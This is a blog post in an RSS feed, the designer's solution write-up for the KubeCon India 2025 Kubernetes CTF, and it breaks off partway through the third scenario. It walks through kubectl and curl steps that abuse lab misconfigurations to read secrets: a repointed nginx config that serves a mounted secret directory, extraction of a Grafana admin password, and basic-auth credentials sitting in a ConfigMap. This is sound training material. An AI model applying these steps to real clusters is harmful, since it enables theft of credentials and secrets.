<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Posts on cicci8ino's blog</title><link>http://blog.martino.wtf/posts/</link><description>Recent content in Posts on cicci8ino's blog</description><generator>Hugo -- gohugo.io</generator><language>en-us</language><lastBuildDate>Mon, 29 Sep 2025 10:45:15 +0100</lastBuildDate><atom:link href="http://blog.martino.wtf/posts/index.xml" rel="self" type="application/rss+xml"/><item><title>Cracking the KubeCon India 25 CTF: The Creator's Cut</title><link>http://blog.martino.wtf/posts/kubecon-in-25-ctf/</link><pubDate>Mon, 29 Sep 2025 10:45:15 +0100</pubDate><guid>http://blog.martino.wtf/posts/kubecon-in-25-ctf/</guid><description>%!s(&lt;nil>)</description><content type="html"><![CDATA[<h1 id="intro">Intro</h1>
<p>This is my solution write-up for the <a href="https://controlplaneio.github.io/kubecon-in-2025-ctf/">KubeCon India 2025 Kubernetes CTF</a>. The KubeCon CTF has been hosted by ControlPlane for several years now, and for this year&rsquo;s event in India, I was responsible for its design and implementation.</p>
<p>While I wasn&rsquo;t able to attend the event in person, I enjoyed following the scoreboard remotely as people made their way through the challenge. I also want to thank everyone who left positive feedback, especially those who spent a significant amount of time working through the problems. It was good to see the scenarios were well-received.</p>
<p>Here, I&rsquo;ll break down the solution for each flag, explaining the underlying vulnerabilities and the steps required to solve them. Thanks again to all the participants.</p>
<p>Let&rsquo;s get started!</p>
<h1 id="easy-orchestra">Easy: Orchestra</h1>

    <aside class="admonition note">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor"
      stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-edit-2">
      <path d="M17 3a2.828 2.828 0 1 1 4 4L7.5 20.5 2 22l1.5-5.5L17 3z"></path>
   </svg></div><b>Flags</b>
        </div>
        <div class="admonition-content"><ol>
<li><code>flag_ctf{I_love_templates_more_than_nginx_configs}</code>, stored as <code>staticwebapp-yaml-template</code> annotation</li>
<li><code>flag_ctf{I_love_templates_even_more}</code>, stored in the secret <code>super-secret</code></li>
<li>bonus: <code>flag_ctf{template_revisions_are_so_fun}</code>, stored in the previous <code>staticwebapp-yaml-template</code> revision</li>
</ol>
</div>
    </aside>
<h2 id="flag-1">Flag 1</h2>
<ul>
<li>ssh on the bastion</li>
<li>get all the pods and realize Crossplane is installed</li>
<li>have a look at the <code>CompositeResourceDefinition</code> <code>StaticWebApp</code></li>
<li>have a look at how this is templated, in <code>Composition</code> <code>staticwebapp-yaml-template</code></li>
<li>realize there&rsquo;s a flag stored as annotation</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>kubectl get composition staticwebapp-yaml-template -o json | jq <span style="color:#a6d189">&#39;.metadata.annotations&#39;</span>
</span></span></code></pre></div><p>Use the hint related to nginx configs for the next flag.</p>
<h2 id="flag-2">Flag 2</h2>
<ul>
<li>realize a secret is mounted in the nginx pods</li>
<li>realize you can change the nginx configuration</li>
<li>create a new <code>ConfigMap</code>, to let nginx use a different configuration</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#ca9ee6">apiVersion</span>: v1
</span></span><span style="display:flex;"><span><span style="color:#ca9ee6">kind</span>: ConfigMap
</span></span><span style="display:flex;"><span><span style="color:#ca9ee6">metadata</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#ca9ee6">name</span>: nginx-config
</span></span><span style="display:flex;"><span>  <span style="color:#ca9ee6">namespace</span>: website
</span></span><span style="display:flex;"><span><span style="color:#ca9ee6">data</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#ca9ee6">default.conf</span>: |<span style="color:#737994">
</span></span></span><span style="display:flex;"><span><span style="color:#737994">    server {
</span></span></span><span style="display:flex;"><span><span style="color:#737994">        listen 80;
</span></span></span><span style="display:flex;"><span><span style="color:#737994">        server_name localhost;
</span></span></span><span style="display:flex;"><span><span style="color:#737994">
</span></span></span><span style="display:flex;"><span><span style="color:#737994">        location / {
</span></span></span><span style="display:flex;"><span><span style="color:#737994">            root /etc/secret;
</span></span></span><span style="display:flex;"><span><span style="color:#737994">            autoindex on;
</span></span></span><span style="display:flex;"><span><span style="color:#737994">        }
</span></span></span><span style="display:flex;"><span><span style="color:#737994">    }</span>
</span></span></code></pre></div><ul>
<li>create a new StaticWebApp, specifying the <code>nginxConfigConfigMap</code></li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#ca9ee6">apiVersion</span>: kubesim.tech/v1
</span></span><span style="display:flex;"><span><span style="color:#ca9ee6">kind</span>: StaticWebApp
</span></span><span style="display:flex;"><span><span style="color:#ca9ee6">metadata</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#ca9ee6">name</span>: test
</span></span><span style="display:flex;"><span>  <span style="color:#ca9ee6">namespace</span>: website
</span></span><span style="display:flex;"><span><span style="color:#ca9ee6">spec</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#ca9ee6">subdomain</span>: test
</span></span><span style="display:flex;"><span>  <span style="color:#ca9ee6">replicas</span>: <span style="color:#ef9f76">2</span>
</span></span><span style="display:flex;"><span>  <span style="color:#ca9ee6">websiteConfigMap</span>: nginx-sample-site
</span></span><span style="display:flex;"><span>  <span style="color:#ca9ee6">nginxConfigConfigMap</span>: nginx-config
</span></span></code></pre></div><ul>
<li>use curl to get the flag</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>root@jumphost:~# curl test-75z8l.website:8080
</span></span><span style="display:flex;"><span>&lt;html&gt;
</span></span><span style="display:flex;"><span>&lt;head&gt;&lt;title&gt;Index of /&lt;/title&gt;&lt;/head&gt;
</span></span><span style="display:flex;"><span>&lt;body&gt;
</span></span><span style="display:flex;"><span>&lt;h1&gt;Index of /&lt;/h1&gt;&lt;hr&gt;&lt;pre&gt;&lt;a <span style="color:#f2d5cf">href</span><span style="color:#99d1db;font-weight:bold">=</span><span style="color:#a6d189">&#34;../&#34;</span>&gt;../&lt;/a&gt;
</span></span><span style="display:flex;"><span>&lt;a <span style="color:#f2d5cf">href</span><span style="color:#99d1db;font-weight:bold">=</span><span style="color:#a6d189">&#34;flag&#34;</span>&gt;flag&lt;/a&gt;                                           16-Jun-2025 09:10                   <span style="color:#ef9f76">6</span>
</span></span><span style="display:flex;"><span>&lt;/pre&gt;&lt;hr&gt;&lt;/body&gt;
</span></span><span style="display:flex;"><span>&lt;/html&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>root@jumphost:~# curl test-75z8l.website:8080/flag
</span></span><span style="display:flex;"><span>flag_ctf<span style="color:#99d1db;font-weight:bold">{</span>I_love_templates_even_more<span style="color:#99d1db;font-weight:bold">}</span>
</span></span></code></pre></div><h2 id="flag-3-bonus">Flag 3 (bonus)</h2>
<ul>
<li>get all the revisions and realize there&rsquo;s more than one</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>root@jumphost:~# kubectl get compositionrevision
</span></span><span style="display:flex;"><span>NAME                                 REVISION   XR-KIND        XR-APIVERSION     AGE
</span></span><span style="display:flex;"><span>staticwebapp-yaml-template-746abe7   <span style="color:#ef9f76">2</span>          StaticWebApp   kubesim.tech/v1   8m19s
</span></span><span style="display:flex;"><span>staticwebapp-yaml-template-d383714   <span style="color:#ef9f76">1</span>          StaticWebApp   kubesim.tech/v1   11m
</span></span></code></pre></div><ul>
<li>analyze the oldest revision and get the flag</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>root@jumphost:~# kubectl get compositionrevision staticwebapp-yaml-template-d383714 -o yaml
</span></span><span style="display:flex;"><span>...
</span></span><span style="display:flex;"><span>      inline:
</span></span><span style="display:flex;"><span>        template: <span style="color:#a6d189">&#34;---\napiVersion: v1\nkind: Secret\nmetadata:\n  annotations:\n
</span></span></span><span style="display:flex;"><span><span style="color:#a6d189">          \   gotemplating.fn.crossplane.io/composition-resource-name: secret\n  labels:\n
</span></span></span><span style="display:flex;"><span><span style="color:#a6d189">          \   kubesim.tech/staticwebapp: {{ .observed.composite.resource.metadata.name
</span></span></span><span style="display:flex;"><span><span style="color:#a6d189">          }}\ntype: Opaque\nstringData:\n  flag: flag_ctf{template_revisions_are_so_fun}
</span></span></span><span style="display:flex;"><span><span style="color:#a6d189">          \        \n&#34;</span>
</span></span><span style="display:flex;"><span>...
</span></span></code></pre></div><h1 id="medium-dark-telescope">Medium: Dark Telescope</h1>

    <aside class="admonition note">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor"
      stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-edit-2">
      <path d="M17 3a2.828 2.828 0 1 1 4 4L7.5 20.5 2 22l1.5-5.5L17 3z"></path>
   </svg></div><b>Flags</b>
        </div>
        <div class="admonition-content"><ol>
<li><code>flag_ctf{proper_rbac_is_very_important}</code>, stored as grafana admin password</li>
<li><code>flag_ctf{do_not_expose_sensitive_stuff_as_metric}</code>, exposed on the <code>/metrics</code> path</li>
<li><code>flag_ctf{debug_log_is_not_always_nice}</code>, stored as <code>flag</code> field in one of the fake orders</li>
</ol>
</div>
    </aside>
<h2 id="flag-1-1">Flag 1</h2>
<ul>
<li>Open SSH tunnel, using the command shared in the scenario description</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ssh -i simulator_rsa -F simulator_config -o <span style="color:#f2d5cf">IdentitiesOnly</span><span style="color:#99d1db;font-weight:bold">=</span>yes bastion -L 8080:localhost:80
</span></span></code></pre></div><ul>
<li>Navigate to Grafana UI at
<a href="http://grafana.kubesim.tech:8080">http://grafana.kubesim.tech:8080</a></li>
<li>Realize Grafana is password protected</li>
<li>Get to know all the pods running</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>kubectl get pods -A
</span></span></code></pre></div><ul>
<li>Get to know the namespaces</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>kubectl get ns
</span></span></code></pre></div><ul>
<li>See which grant you have on grafana namespace</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>kubectl auth can-i --list -n grafana
</span></span></code></pre></div><ul>
<li>Extract Grafana admin credentials from the secret</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>kubectl get secret -n grafana grafana -o go-template=&#39;
</span></span><span style="display:flex;"><span>{{range $k,$v := .data}}{{printf &#34;%s: &#34; $k}}{{if not $v}}{{$v}}{{else}}{{$v | base64decode}}{{end}}{{&#34;\n&#34;}}{{end}}&#39;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>admin-password: flag_ctf{proper_rbac_is_very_important}
</span></span><span style="display:flex;"><span>admin-user: admin
</span></span><span style="display:flex;"><span>ldap-toml:
</span></span></code></pre></div><h2 id="flag-2-1">Flag 2</h2>
<ul>
<li>Navigate to VictoriaMetrics at
<a href="http://victoriametrics.kubesim.tech:8080">http://victoriametrics.kubesim.tech:8080</a></li>
<li>Go to the targets to understand why the backend stopped sending data
<a href="http://victoriametrics.kubesim.tech:8080/targets">http://victoriametrics.kubesim.tech:8080/targets</a></li>
<li>Realize there&rsquo;s a typo in the service name</li>
<li>Install <code>curl</code></li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>apt update <span style="color:#99d1db;font-weight:bold">&amp;&amp;</span> apt install curl
</span></span></code></pre></div><ul>
<li>Try to curl the metrics endpoint</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>curl -v  backend.backend:3000/metrics
</span></span></code></pre></div><ul>
<li>Get back a 401</li>
<li>Have a look at the config
<a href="http://victoriametrics.kubesim.tech:8080/config">http://victoriametrics.kubesim.tech:8080/config</a></li>
<li>The config is redacted</li>
<li>See which grant you have on VictoriaMetrics ns</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>kubectl auth can-i --list -n victoriametrics
</span></span></code></pre></div><ul>
<li>Realize you can see the ConfigMap in that namespace</li>
<li>Get all the ConfigMaps</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>kubectl get cm -n victoriametrics -o yaml
</span></span><span style="display:flex;"><span>...
</span></span><span style="display:flex;"><span>  data:
</span></span><span style="display:flex;"><span>    scrape.yml: |
</span></span><span style="display:flex;"><span>      global:
</span></span><span style="display:flex;"><span>        scrape_interval: 15s
</span></span><span style="display:flex;"><span>      scrape_configs:
</span></span><span style="display:flex;"><span>      - basic_auth:
</span></span><span style="display:flex;"><span>          password: p4ssw0rd!123
</span></span><span style="display:flex;"><span>          username: frontend
</span></span><span style="display:flex;"><span>        job_name: scrape-backend
</span></span><span style="display:flex;"><span>        static_configs:
</span></span><span style="display:flex;"><span>        - targets:
</span></span><span style="display:flex;"><span>          - backend.beckend:3000
</span></span><span style="display:flex;"><span>...
</span></span></code></pre></div><ul>
<li>Fix the config</li>
<li><a href="http://victoriametrics.kubesim.tech:8080/-/reload">Reload victoriametrics</a></li>
<li>Wait for the metric to be scraped</li>
<li>Query the metrics</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>{instance=&#34;backend.backend:3000&#34;, job=&#34;scrape-backend&#34;}
</span></span></code></pre></div><h2 id="flag-3">Flag 3</h2>
<ul>
<li>Check if any logging solution is running</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>kubectl get ns
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>...
</span></span><span style="display:flex;"><span>victorialogs
</span></span><span style="display:flex;"><span>...
</span></span></code></pre></div><ul>
<li>Get all the objects from that namespace</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>kubectl get all -n victorialogs
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>...
</span></span><span style="display:flex;"><span>service/victorialogs-victoria-logs-single-server
</span></span><span style="display:flex;"><span>...
</span></span></code></pre></div><ul>
<li>Navigate to grafana and add a new connection after installing the VictoriaLogs plugin
<a href="http://victorialogs-victoria-logs-single-server.victorialogs:9428">http://victorialogs-victoria-logs-single-server.victorialogs:9428</a></li>
<li>Start exploring data</li>
<li>Filter data on the backend namespace
<code>namespace:=&quot;backend&quot;</code></li>
<li>See there are three type of logs:
<ul>
<li><code>Order &lt;orderID&gt; created</code></li>
<li>HTTP logs on <code>/orders</code></li>
<li>Startup log of the server (listening and registering paths)</li>
</ul>
</li>
<li>Find out there&rsquo;s a specific order that is causing issue with malformed flag</li>
<li>Download <a href="https://grafana.com/grafana/plugins/yesoreyeram-infinity-datasource/">Infinity plugin</a> on Grafana, to run <code>http</code> requests. As an alternative, scrape that path using the scraping config (thanks to Gabriela for this unintended path!)</li>
<li>Request the malformed order, in order to read the flag <code>flag_ctf{debug_log_is_not_always_nice}</code></li>
</ul>
<h1 id="complex-cluster-maintenance">Complex: Cluster Maintenance</h1>

    <aside class="admonition note">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor"
      stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-edit-2">
      <path d="M17 3a2.828 2.828 0 1 1 4 4L7.5 20.5 2 22l1.5-5.5L17 3z"></path>
   </svg></div><b>Flags</b>
        </div>
        <div class="admonition-content"><ol>
<li><code>flag_ctf{jwt_should_not_be_logged}</code>, stored as secret</li>
<li><code>flag_ctf{tls_verification_is_very_important_CVE-2020-8554}</code>, as part of the body sent from the <code>data-uploader</code></li>
</ol>
</div>
    </aside>
<h2 id="flag-1-2">Flag 1</h2>
<ul>
<li>As suggested in the welcome screen, player will connect to the <code>/supported</code> endpoint of the <code>cluster-maintenance</code> API</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>root@jumphost:~# curl https://api.cluster-maintenance/supported -k -s | jq
</span></span><span style="display:flex;"><span><span style="color:#99d1db;font-weight:bold">[</span>
</span></span><span style="display:flex;"><span>  <span style="color:#99d1db;font-weight:bold">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6d189">&#34;path&#34;</span>: <span style="color:#a6d189">&#34;/namespaces&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#a6d189">&#34;description&#34;</span>: <span style="color:#a6d189">&#34;List all the namespaces. Specify `cluster` and `namespace` query parameter. Default: ?cluster=default&amp;namespace=production.&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#a6d189">&#34;example&#34;</span>: <span style="color:#a6d189">&#34;curl \&#34;https://localhost:8443/namespaces?cluster=dev\&#34;&#34;</span>
</span></span><span style="display:flex;"><span>  <span style="color:#99d1db;font-weight:bold">}</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#99d1db;font-weight:bold">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6d189">&#34;path&#34;</span>: <span style="color:#a6d189">&#34;/pods&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#a6d189">&#34;description&#34;</span>: <span style="color:#a6d189">&#34;Get pods from a namespace. Specify `cluster` and `namespace` query parameter. Default: ?cluster=default&amp;namespace=production.&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#a6d189">&#34;example&#34;</span>: <span style="color:#a6d189">&#34;curl \&#34;https://localhost:8443/pods?cluster=dev&amp;namespace=test\&#34;&#34;</span>
</span></span><span style="display:flex;"><span>  <span style="color:#99d1db;font-weight:bold">}</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#99d1db;font-weight:bold">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6d189">&#34;path&#34;</span>: <span style="color:#a6d189">&#34;/secrets&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#a6d189">&#34;description&#34;</span>: <span style="color:#a6d189">&#34;Get masked secrets from a namespace. Specify `cluster` and `namespace` query parameter. Default: ?cluster=default&amp;namespace=production.&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#a6d189">&#34;example&#34;</span>: <span style="color:#a6d189">&#34;curl \&#34;https://localhost:8443/secrets?cluster=dev&amp;namespace=test\&#34;&#34;</span>
</span></span><span style="display:flex;"><span>  <span style="color:#99d1db;font-weight:bold">}</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#99d1db;font-weight:bold">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6d189">&#34;path&#34;</span>: <span style="color:#a6d189">&#34;/supported&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#a6d189">&#34;description&#34;</span>: <span style="color:#a6d189">&#34;List supported endpoints and usages&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#a6d189">&#34;example&#34;</span>: <span style="color:#a6d189">&#34;curl https://localhost:8443/supported&#34;</span>
</span></span><span style="display:flex;"><span>  <span style="color:#99d1db;font-weight:bold">}</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#99d1db;font-weight:bold">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6d189">&#34;path&#34;</span>: <span style="color:#a6d189">&#34;/clusters&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#a6d189">&#34;description&#34;</span>: <span style="color:#a6d189">&#34;Manage the clusters where you can connect to&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#a6d189">&#34;example&#34;</span>: <span style="color:#a6d189">&#34;curl https://localhost:8443/clusters&#34;</span>
</span></span><span style="display:flex;"><span>  <span style="color:#99d1db;font-weight:bold">}</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#99d1db;font-weight:bold">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6d189">&#34;path&#34;</span>: <span style="color:#a6d189">&#34;/logs&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#a6d189">&#34;description&#34;</span>: <span style="color:#a6d189">&#34;Get cluster-maintenance logs&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#a6d189">&#34;example&#34;</span>: <span style="color:#a6d189">&#34;curl https://localhost:8443/logs&#34;</span>
</span></span><span style="display:flex;"><span>  <span style="color:#99d1db;font-weight:bold">}</span>
</span></span><span style="display:flex;"><span><span style="color:#99d1db;font-weight:bold">]</span>
</span></span></code></pre></div><ul>
<li>let&rsquo;s see all the namespaces</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>root@jumphost:~# curl https://api.cluster-maintenance/namespaces -k -s | jq
</span></span><span style="display:flex;"><span><span style="color:#99d1db;font-weight:bold">[</span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6d189">&#34;cluster-maintenance&#34;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#a6d189">&#34;default&#34;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#a6d189">&#34;jumphost&#34;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#a6d189">&#34;kube-node-lease&#34;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#a6d189">&#34;kube-public&#34;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#a6d189">&#34;kube-system&#34;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#a6d189">&#34;production&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#99d1db;font-weight:bold">]</span>
</span></span></code></pre></div><ul>
<li>let&rsquo;s see if we can get the secrets out of the <code>production</code> namespace</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>root@jumphost:~# curl https://api.cluster-maintenance/secrets -k -s | jq
</span></span><span style="display:flex;"><span><span style="color:#99d1db;font-weight:bold">{</span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6d189">&#34;metadata&#34;</span>: <span style="color:#99d1db;font-weight:bold">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6d189">&#34;resourceVersion&#34;</span>: <span style="color:#a6d189">&#34;4990&#34;</span>
</span></span><span style="display:flex;"><span>  <span style="color:#99d1db;font-weight:bold">}</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#a6d189">&#34;items&#34;</span>: <span style="color:#99d1db;font-weight:bold">[</span>
</span></span><span style="display:flex;"><span>    <span style="color:#99d1db;font-weight:bold">{</span>
</span></span><span style="display:flex;"><span>      <span style="color:#a6d189">&#34;metadata&#34;</span>: <span style="color:#99d1db;font-weight:bold">{</span>
</span></span><span style="display:flex;"><span>        <span style="color:#a6d189">&#34;name&#34;</span>: <span style="color:#a6d189">&#34;am-i-supposed-to-read-this&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#a6d189">&#34;namespace&#34;</span>: <span style="color:#a6d189">&#34;production&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#a6d189">&#34;uid&#34;</span>: <span style="color:#a6d189">&#34;ec5b70b1-4d85-4126-8dbe-f59dfde291a3&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#a6d189">&#34;resourceVersion&#34;</span>: <span style="color:#a6d189">&#34;762&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#a6d189">&#34;creationTimestamp&#34;</span>: <span style="color:#a6d189">&#34;2025-06-24T15:53:17Z&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#a6d189">&#34;managedFields&#34;</span>: <span style="color:#99d1db;font-weight:bold">[</span>
</span></span><span style="display:flex;"><span>          <span style="color:#99d1db;font-weight:bold">{</span>
</span></span><span style="display:flex;"><span>            <span style="color:#a6d189">&#34;manager&#34;</span>: <span style="color:#a6d189">&#34;kubectl-client-side-apply&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#a6d189">&#34;operation&#34;</span>: <span style="color:#a6d189">&#34;Update&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#a6d189">&#34;apiVersion&#34;</span>: <span style="color:#a6d189">&#34;v1&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#a6d189">&#34;time&#34;</span>: <span style="color:#a6d189">&#34;2025-06-24T15:53:17Z&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#a6d189">&#34;fieldsType&#34;</span>: <span style="color:#a6d189">&#34;FieldsV1&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#a6d189">&#34;fieldsV1&#34;</span>: <span style="color:#99d1db;font-weight:bold">{</span>
</span></span><span style="display:flex;"><span>              <span style="color:#a6d189">&#34;f:data&#34;</span>: <span style="color:#99d1db;font-weight:bold">{</span>
</span></span><span style="display:flex;"><span>                <span style="color:#a6d189">&#34;.&#34;</span>: <span style="color:#99d1db;font-weight:bold">{}</span>,
</span></span><span style="display:flex;"><span>                <span style="color:#a6d189">&#34;f:flag&#34;</span>: <span style="color:#99d1db;font-weight:bold">{}</span>
</span></span><span style="display:flex;"><span>              <span style="color:#99d1db;font-weight:bold">}</span>,
</span></span><span style="display:flex;"><span>              <span style="color:#a6d189">&#34;f:metadata&#34;</span>: <span style="color:#99d1db;font-weight:bold">{</span>
</span></span><span style="display:flex;"><span>                <span style="color:#a6d189">&#34;f:annotations&#34;</span>: <span style="color:#99d1db;font-weight:bold">{</span>
</span></span><span style="display:flex;"><span>                  <span style="color:#a6d189">&#34;.&#34;</span>: <span style="color:#99d1db;font-weight:bold">{}</span>,
</span></span><span style="display:flex;"><span>                  <span style="color:#a6d189">&#34;f:kubectl.kubernetes.io/last-applied-configuration&#34;</span>: <span style="color:#99d1db;font-weight:bold">{}</span>
</span></span><span style="display:flex;"><span>                <span style="color:#99d1db;font-weight:bold">}</span>
</span></span><span style="display:flex;"><span>              <span style="color:#99d1db;font-weight:bold">}</span>,
</span></span><span style="display:flex;"><span>              <span style="color:#a6d189">&#34;f:type&#34;</span>: <span style="color:#99d1db;font-weight:bold">{}</span>
</span></span><span style="display:flex;"><span>            <span style="color:#99d1db;font-weight:bold">}</span>
</span></span><span style="display:flex;"><span>          <span style="color:#99d1db;font-weight:bold">}</span>
</span></span><span style="display:flex;"><span>        <span style="color:#99d1db;font-weight:bold">]</span>
</span></span><span style="display:flex;"><span>      <span style="color:#99d1db;font-weight:bold">}</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#a6d189">&#34;type&#34;</span>: <span style="color:#a6d189">&#34;Opaque&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#99d1db;font-weight:bold">}</span>
</span></span><span style="display:flex;"><span>  <span style="color:#99d1db;font-weight:bold">]</span>
</span></span><span style="display:flex;"><span><span style="color:#99d1db;font-weight:bold">}</span>
</span></span></code></pre></div><ul>
<li>secrets are removed by the API</li>
<li>let&rsquo;s check the <code>/clusters</code> path</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>root@jumphost:~# curl -k https://api.cluster-maintenance/clusters -s | jq
